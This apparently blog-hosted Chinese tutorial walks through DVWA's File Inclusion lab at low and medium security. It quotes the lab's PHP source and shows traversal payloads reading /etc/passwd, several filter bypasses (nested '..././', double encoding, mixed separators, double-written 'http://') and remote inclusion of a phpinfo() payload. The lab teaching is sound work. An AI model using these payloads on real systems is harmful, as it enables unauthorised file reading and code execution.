File Inclusion

设置题目难度为low

点击File Inclusion(文件收录)

网页这边给了三个文件访问

访问file1,访问出页面的同时网址也变成

看网址

fi后面缺少index.php,加上没什么变化,但代表我们访问的文件是正确的

直接打开文件目录,

phpstudy_pro\WWW\DVWA\vulnerabilities\fi

分别找到index.php,file1.php,low.php三个文件

先看index.php代码

复制代码
<?php

define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );
require_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';

dvwaPageStartup( array( 'authenticated' ) );

$page = dvwaPageNewGrab();
$page[ 'title' ]   = 'Vulnerability: File Inclusion' . $page[ 'title_separator' ].$page[ 'title' ];
$page[ 'page_id' ] = 'fi';
$page[ 'help_button' ]   = 'fi';
$page[ 'source_button' ] = 'fi';

dvwaDatabaseConnect();

$vulnerabilityFile = '';
switch( dvwaSecurityLevelGet() ) {
	case 'low':
		$vulnerabilityFile = 'low.php';
		break;
	case 'medium':
		$vulnerabilityFile = 'medium.php';
		break;
	case 'high':
		$vulnerabilityFile = 'high.php';
		break;
	default:
		$vulnerabilityFile = 'impossible.php';
		break;
}

require_once DVWA_WEB_PAGE_TO_ROOT . "vulnerabilities/fi/source/{$vulnerabilityFile}";

// if( count( $_GET ) )
if( isset( $file ) )
	include( $file );
else {
	header( 'Location:?page=include.php' );
	exit;
}

dvwaHtmlEcho( $page );

?>

先得了解这个代码的生成方式

从17行开始,源代码中使用switch,去判断用户传过来的安全等级,这边是low,所以找到low.php

复制代码
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?>

再看这串代码

require_once DVWA_WEB_PAGE_TO_ROOT . "vulnerabilities/fi/source/{$vulnerabilityFile}";

组成部分:

  1. require_once

    • 包含并运行指定文件

    • _once 确保文件只被包含一次,避免重复包含错误

  2. DVWA_WEB_PAGE_TO_ROOT

    • DVWA 的常量,表示 网站根目录的路径

    • 例如:/var/www/html/dvwa/

  3. 路径拼接

    • "vulnerabilities/fi/source/{$vulnerabilityFile}"

    • 构建完整的文件路径

这串代码照样运算访问low.php

看36行这串代码include( $file )就是访问网页上的file1,file2,file3

但是目录上面还有个file4,这个就是题目不想让我们看见的文件,这是个关于路径漏洞的知识通过这样的路径漏洞我们还可以访问很多文件,甚至可以访问c盘,提取敏感信息

这边的file4.php是相对路径等同于./file4.php,也就是当前文件夹(index.php所在的文件夹)下的 file4.php

我们可以通过../(这个是访问上层目录下的某个文件)

dvwa/vulnerabilities/fi/?page=../

通过报错的信息我们就可以看到现在在那个位置了

设置题目难度为中等

查看源代码

中级难度的代码比低级难度多出两行

这两行代码让我们没有办法使用../来访问目录

主要问题:过滤可以被绕过

绕过方法1:嵌套遍历

php

复制代码
?page=..././..././etc/passwd
// 过滤后:../../../etc/passwd

双写写两遍..././=../

就可以绕过过滤

绕过方法2:双重编码

php

复制代码
?page=..%252f..%252fetc%252fpasswd
// 第一次URL解码:..%2f..%2fetc%2fpasswd
// str_replace过滤:..%2f..%2fetc%2fpasswd(无变化)
// 文件系统可能识别

绕过方法3:非常规路径分隔符

php

复制代码
?page=..\../..\/etc/passwd
// 在Windows系统上可能有效

绕过方法4:绝对路径(如果允许)

php

复制代码
?page=/etc/passwd
// 如果应用有读取权限,可以直接访问系统文件

同样还有这么一段代码file = str_replace( array( "http://", "https://" ), "", file );

他是用来过滤http

但是我们还是可以用双写绕过

hhttp://ttp://=http://

这样就可以访问网址了

http是怎么样让我们信息泄露的,php中include这个函数,他会把远程服务器上的

这段代码加载进来,如果里面有php代码,他会优先执行这段代码

就比如我们再创建一个网站,dvwa2,浏览在桌面文件夹shiyan,端口为8080

现在网站里面没东西,那让我们在文件夹shiyan里面放个txt文件

文件内容为这段php代码

复制代码
<?php echo phpinfo();?>

保存后我们8080服务器下就有了1.txt文件与这段php代码

再加上include这个函数,他会把远程服务器上的,这段代码加载进来

那我们访问这个网站

就能看见我们服务器上所以信息

相关推荐
帅得不敢出门37 分钟前
MTK Android11 APP调用OTA升级
android·java·开发语言·framework
2501_915909061 小时前
苹果应用加密方案的一种方法,在没有源码的前提下,如何处理 IPA 的安全问题
android·安全·ios·小程序·uni-app·iphone·webview
用户2018792831671 小时前
Android App 换肤原理:用 "装修小房子" 故事浅谈
android
百锦再1 小时前
与AI沟通的正确方式——AI提示词:原理、策略与精通之道
android·java·开发语言·人工智能·python·ui·uni-app
2501_915909061 小时前
iOS 项目中常被忽略的 Bundle ID 管理问题
android·ios·小程序·https·uni-app·iphone·webview
dora1 小时前
如何防防防之防抓包伪造请求
android·安全
jiayong231 小时前
IntelliJ IDEA 使用指南
java·ide·intellij-idea
前端无涯1 小时前
Qoder的使用
前端·ide·ai·qoder
2501_915921431 小时前
iOS App 测试的工程化实践,多工具协同的一些尝试
android·ios·小程序·https·uni-app·iphone·webview
爱埋珊瑚海~~1 小时前
Android Studio模拟器一直加载中
android·ide·android studio